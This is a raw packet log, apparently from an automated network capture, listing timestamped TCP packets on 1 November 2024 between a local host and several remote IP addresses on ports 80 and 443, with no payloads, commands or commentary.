Nov 1, 2024 12:14:45.158231974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158236980 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158245087 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158253908 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158257961 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158272982 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158276081 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158287048 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158289909 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158302069 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158304930 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158313036 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158328056 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158333063 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158341885 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158354998 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158356905 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158385038 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158400059 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158574104 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158618927 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158622980 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158637047 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158670902 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158704996 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158715963 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158727884 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158741951 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158746004 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158756018 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158778906 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158807039 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158829927 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158843040 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158855915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158868074 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158868074 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158880949 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158881903 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158896923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158900023 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158910036 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158924103 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158930063 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158951044 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158970118 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158977985 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.158982992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158989906 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.158996105 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159003019 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159008980 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159054041 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159235001 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159255028 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159266949 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159280062 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159286022 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159311056 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159327030 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159328938 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159339905 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159353971 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159365892 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159379005 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159379959 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159394026 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159403086 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159408092 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159420967 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159420967 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159435034 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159445047 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159460068 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159471035 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159481049 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159485102 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159518957 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159522057 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159533978 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159547091 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159559965 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159562111 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159573078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159584999 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159586906 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159600019 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159612894 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159611940 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159626961 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159635067 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159641027 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159652948 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159653902 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159668922 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159679890 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159681082 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159694910 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159698009 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159708977 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159723997 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159724951 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159737110 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159746885 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159761906 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159766912 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159780979 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159785986 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159794092 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159801006 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159813881 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159827948 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159840107 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159857035 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159863949 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159871101 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159885883 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159898043 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159909964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159912109 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159924030 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159926891 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159938097 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159943104 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159955025 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.159955978 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159971952 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159985065 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.159990072 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160003901 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160016060 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160027981 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160033941 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160043001 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160063982 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160073996 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160074949 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160090923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160103083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160115004 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160126925 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160130978 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160140991 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160159111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160165071 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160171986 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160171986 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160186052 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160197973 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160218000 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160223007 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160233974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160247087 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160263062 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160274982 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160289049 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160315037 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160315037 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160324097 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160336971 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160343885 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160351992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160365105 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160376072 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.160388947 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.160420895 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.182018995 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.182099104 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.183459997 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.183469057 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.183708906 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.186357021 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.186407089 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.186429977 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.676836014 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.676928997 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.676965952 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.677000999 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.677004099 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.677035093 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.677062988 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.677211046 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.677249908 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.677257061 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.677443027 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.679224968 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.679230928 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.730237007 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.730248928 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.777126074 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.799994946 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.800093889 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.800137997 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.800183058 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.800206900 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.800246954 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.800247908 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.800286055 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.989679098 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.989722967 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:45.989737988 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:45.989746094 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:46.898832083 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:46.898885965 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:46.898960114 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:46.899260998 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:46.899271011 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:47.512883902 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:47.512986898 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:47.514389038 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:47.514400005 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:47.514642000 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:47.515878916 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:47.516047001 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:47.516077995 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:47.527723074 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:47.528098106 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:47.532931089 CET	80	49985	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:47.533009052 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:47.533060074 CET	80	49980	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:47.533109903 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:47.533226967 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:47.540318966 CET	80	49985	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:47.926907063 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:48.149560928 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:48.149683952 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:48.149751902 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:48.149912119 CET	49984	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:48.149935961 CET	443	49984	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:48.150006056 CET	80	49986	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:48.150082111 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:48.150933027 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:48.155697107 CET	80	49986	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:48.437581062 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:48.437652111 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:48.437731028 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:48.438062906 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:48.438080072 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:48.473269939 CET	80	49985	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:48.473360062 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:48.480411053 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:48.480690002 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:48.485580921 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:48.485594034 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:48.485657930 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:48.485681057 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:48.485898018 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:48.490659952 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.049907923 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.050044060 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.060502052 CET	80	49986	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:49.060590982 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:49.250924110 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.250967979 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.251445055 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.257950068 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.258913994 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.258955956 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.259041071 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.259051085 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.339591026 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:49.344481945 CET	80	49986	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:49.393112898 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393158913 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393171072 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393182993 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393196106 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393210888 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.393224955 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393239021 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393245935 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.393269062 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393289089 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393302917 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.393313885 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.393337965 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.393337965 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.398176908 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.398252964 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.398261070 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.398310900 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.398380041 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.398391962 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.398456097 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.550832033 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.550849915 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.550863981 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.550910950 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.550997972 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.551032066 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551043987 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551054955 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551088095 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.551088095 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.551098108 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551110029 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551125050 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.551141977 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.551170111 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.551995993 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552009106 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552022934 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552057981 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.552058935 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.552093029 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552104950 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552119970 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552144051 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.552171946 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.552954912 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.552999973 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.553006887 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553014040 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.553040028 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553056002 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.553059101 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553070068 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.553081989 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.553111076 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553112030 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553127050 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.553961992 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.554016113 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.554027081 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.554083109 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.627424955 CET	80	49986	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:49.627491951 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:49.708420992 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708439112 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708586931 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708590031 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.708616972 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708626986 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.708630085 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708645105 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708657980 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708666086 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.708666086 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.708709002 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.708709002 CET	49988	80	192.168.2.7	185.215.113.16
